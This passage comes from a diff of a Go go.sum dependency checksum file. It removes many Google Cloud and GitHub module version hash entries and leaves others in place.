h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= -cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= -cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= -cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= -cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= -cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= -cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= -cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= -cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= -cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= -cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= -cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= -cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= -cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= -cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= -cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= -cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= -cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= -cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= -cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= -cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= -cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= -cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= -cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= -cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= -cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= -cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= -cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= -cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= -cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= -cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= -cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= -cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= -cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= -cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= -cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= -cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= -cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= -cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= -cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= -cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= -cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= -cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= -cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= -cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= -cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= -cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= -cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= -cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= -cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= -cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= -cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= -cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= -cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= -cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= -cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= -cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= -cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= -cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= -cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= -cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= -cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= -cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= -cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= -cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= -cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= -cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= -cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= -cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= -cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= -cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= -cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= -cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= -cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= -cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= -cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= -cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= -cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= -cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= -cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= -cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= -cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= -cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= -cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= -cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= -cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= -git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -613,38 +51,19 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= -github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= -github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= -github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= -github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= -github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= -github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= -github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -654,22 +73,8 @@ github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -677,16 +82,13 @@ github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPqu github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -701,33 +103,16 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= -github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= -github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= -github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 